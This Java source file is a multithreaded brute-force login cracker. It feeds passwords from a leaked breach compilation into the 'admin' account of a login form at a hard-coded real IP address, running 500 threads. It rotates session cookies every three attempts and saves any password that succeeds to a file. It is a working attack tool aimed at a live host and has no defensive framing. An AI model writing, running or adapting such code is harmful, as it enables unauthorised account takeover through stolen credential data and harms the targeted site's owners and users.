package com.ccqlk.basemainapp.cqj;

import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpResponse;
import cn.hutool.http.HttpUtil;
import com.fasterxml.jackson.core.type.TypeReference;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.Lists;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.FileReader;
import java.io.FileWriter;
import java.net.HttpCookie;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.concurrent.atomic.AtomicLong;

@Slf4j
public class 暴力破解 {
    private static final AtomicLong COUNT  = new AtomicLong();
    private static final ObjectMapper MAPPER = new ObjectMapper();
    private static final ExecutorService EXECUTOR_SERVICE = Executors.newFixedThreadPool(500);

    @SneakyThrows
    public static void main(String[] args) {
        try(BufferedReader bufferedReader = new BufferedReader(new FileReader("D:\\迅雷下载\\breachcompilation.txt\\breachcompilation.txt"));
        BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter("C:\\Users\\13525\\Downloads\\成功密码.txt"))){
            String line;
            List<String> passwordList = new ArrayList<>();
            while ((line = bufferedReader.readLine()) != null) {
                passwordList.add(line);
                if(passwordList.size() >= 99999){
                    String password = dealSingleBatchPassword(passwordList);
                    if(StringUtils.isNotBlank(password)){
                        bufferedWriter.write(password);
                        return;
                    }
                    passwordList.clear();
                }
            }

            String password = dealSingleBatchPassword(passwordList);
            if(StringUtils.isNotBlank(password)){
                bufferedWriter.write(password);
            }
        }
    }

    @SneakyThrows
    private static String dealSingleBatchPassword(List<String> passwordList) {
        List<ThreePassDeal> threePassDealList = Lists.partition(passwordList, 3).stream().map(ThreePassDeal::new).toList();

        // 主线程等待所有抢完
        List<Future<String>> futureList = EXECUTOR_SERVICE.invokeAll(threePassDealList);
        for (Future<String> future : futureList) {
            String result = future.get();
            if(StringUtils.isNotBlank(result)){
                return result;
            }
        }

        return StringUtils.EMPTY;
    }

    @SneakyThrows
    private static String execute(String password, List<HttpCookie> cookies) {
        long count = COUNT.addAndGet(1);
        HttpRequest request = HttpUtil.createPost("http://110.42.7.203:88/index.php/login/check");
        request.cookie(cookies);

        Map<String,Object> params = new HashMap<>();
        params.put("username","admin");
        params.put("password",password);
        params.put("rmb",1);
        request.form(params);

        try(HttpResponse httpResponse = request.execute()){
            Map<String, Object> objectMap = MAPPER.readValue(httpResponse.body(), new TypeReference<>() {});
            log.info("request count:{}, password: {},response:{}",count,password,objectMap);
            if(Boolean.TRUE.toString().equals(objectMap.get("status"))){
                log.info("password: {} is right.",password);
                return password;
            }
        }

        return StringUtils.EMPTY;
    }




    static class ThreePassDeal implements Callable<String> {
        private final List<String> passwordList;

        public ThreePassDeal(List<String> passwordList) {
            this.passwordList = passwordList;
        }

        @Override
        public String call() {
            try (HttpResponse httpResponse = HttpUtil
                    .createGet("http://110.42.7.203:88/index.php/login/index")
                    .cookie("")
                    .execute()) {
                List<HttpCookie> cookies = httpResponse.getCookies();
                for (String password : passwordList) {
                    String passwordOk = execute(password, cookies);
                    // 返回成功的密码
                    if(StringUtils.isNotBlank(passwordOk)){
                        return passwordOk;
                    }
                }
            }

            return "";
        }
    }
}
